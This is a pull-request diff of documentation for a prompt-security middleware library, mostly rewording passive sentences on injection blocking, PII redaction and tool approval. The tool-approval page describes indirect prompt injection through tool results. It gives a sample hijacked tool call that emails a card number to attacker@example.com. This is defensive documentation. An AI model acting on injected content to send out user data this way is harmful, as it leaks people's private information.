Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion docs/guides/handling-blocked-prompts.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ sidebarTitle: "Handling blocked prompts"

Some Intercept middleware actions stop a prompt before it reaches the AI provider.

When a prompt is blocked, your app should catch the exception and return a safe user-facing response.
When Intercept blocks a prompt, your app should catch the exception and return a safe user-facing response.

## Injection Guard exception

Expand Down
8 changes: 4 additions & 4 deletions docs/guides/security-notes.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -14,9 +14,9 @@ Use it as part of a layered AI safety strategy.

Intercept can inspect, redact, block, or modify prompts before they reach the provider.

It cannot guarantee that every unsafe input will be detected.
It cannot guarantee that it detects every unsafe input.

It cannot guarantee that every sensitive value will be found.
It cannot guarantee that it finds every sensitive value.

It cannot replace application-level authorization, validation, access control, or tool permission checks.

Expand Down Expand Up @@ -118,11 +118,11 @@ Two limits are worth knowing.

Resumed prompts are immutable, because a paused turn must replay verbatim against the provider that recorded it. Actions that rewrite the prompt cannot apply, so `redact`, `mask`, `sanitize`, and `warn` degrade to logging on this path. Only blocking genuinely stops the content.

If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before they are submitted.
If your threat model requires that PII never reaches the provider, do not rely on `redact` alone. Add the relevant entity types to `block_entities`, or validate the edited arguments in your approval flow before you submit them.

## Safe user-facing errors

When a prompt is blocked, return a simple message.
When Intercept blocks a prompt, return a simple message.

Good:

Expand Down
2 changes: 1 addition & 1 deletion docs/index.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -32,7 +32,7 @@ Each middleware is fully customisable and can inspect the prompt and decide what

For example, Injection Guard can block prompt injection attempts before the prompt reaches the provider.

PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt is sent.
PII Redactor can redact emails, phone numbers, IP addresses, and other structured sensitive data before the prompt reaches the provider.

## Current middleware collection

Expand Down
2 changes: 1 addition & 1 deletion docs/middleware/injection-guard.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -420,7 +420,7 @@ Because `sanitize` and `warn` cannot neutralise the content on this path, they l

### Blocked resumes

When a resumed run is blocked, the exception names the offending tool call and field so the failure can be traced:
When Injection Guard blocks a resumed run, the exception names the offending tool call and field so you can trace the failure:

```text
Prompt injection attempt detected in tool approval decisions [call_7: arguments.filters.note].
Expand Down
6 changes: 3 additions & 3 deletions docs/middleware/pii-redactor.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -249,7 +249,7 @@ public function middleware(): array

### Blocking PII

Use `block` when the prompt should stop as soon as supported PII is detected.
Use `block` when the prompt should stop as soon as the middleware detects supported PII.

```php
public function middleware(): array
Expand All @@ -262,7 +262,7 @@ public function middleware(): array
}
```

If PII is detected, the middleware throws a `PIIRedactorException`.
If the middleware detects PII, it throws a `PIIRedactorException`.

<Tip>
You can also catch `InterceptException`, the parent exception class that all Intercept middleware throw.
Expand Down Expand Up @@ -294,7 +294,7 @@ Default blocked entities:
]
```

This means a prompt containing a supported API key or bearer token will be blocked by default.
This means the middleware blocks a prompt containing a supported API key or bearer token by default.

You can override blocked entities:

Expand Down
2 changes: 1 addition & 1 deletion docs/middleware/tool-approval-guard.mdx
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@ Every other Intercept middleware inspects what goes _out_: the prompt, and the t

None of them see what comes _back in_. Tool results, retrieved documents, and conversation history never pass through the middleware pipeline, which is exactly where indirect prompt injection lives.

When an agent is manipulated by content Intercept never saw, the damage almost always surfaces as a tool call:
When content that Intercept never saw manipulates an agent, the damage almost always surfaces as a tool call:

```text
send_email(to: "attacker@example.com", body: "card 4111111111111111")
Expand Down
Loading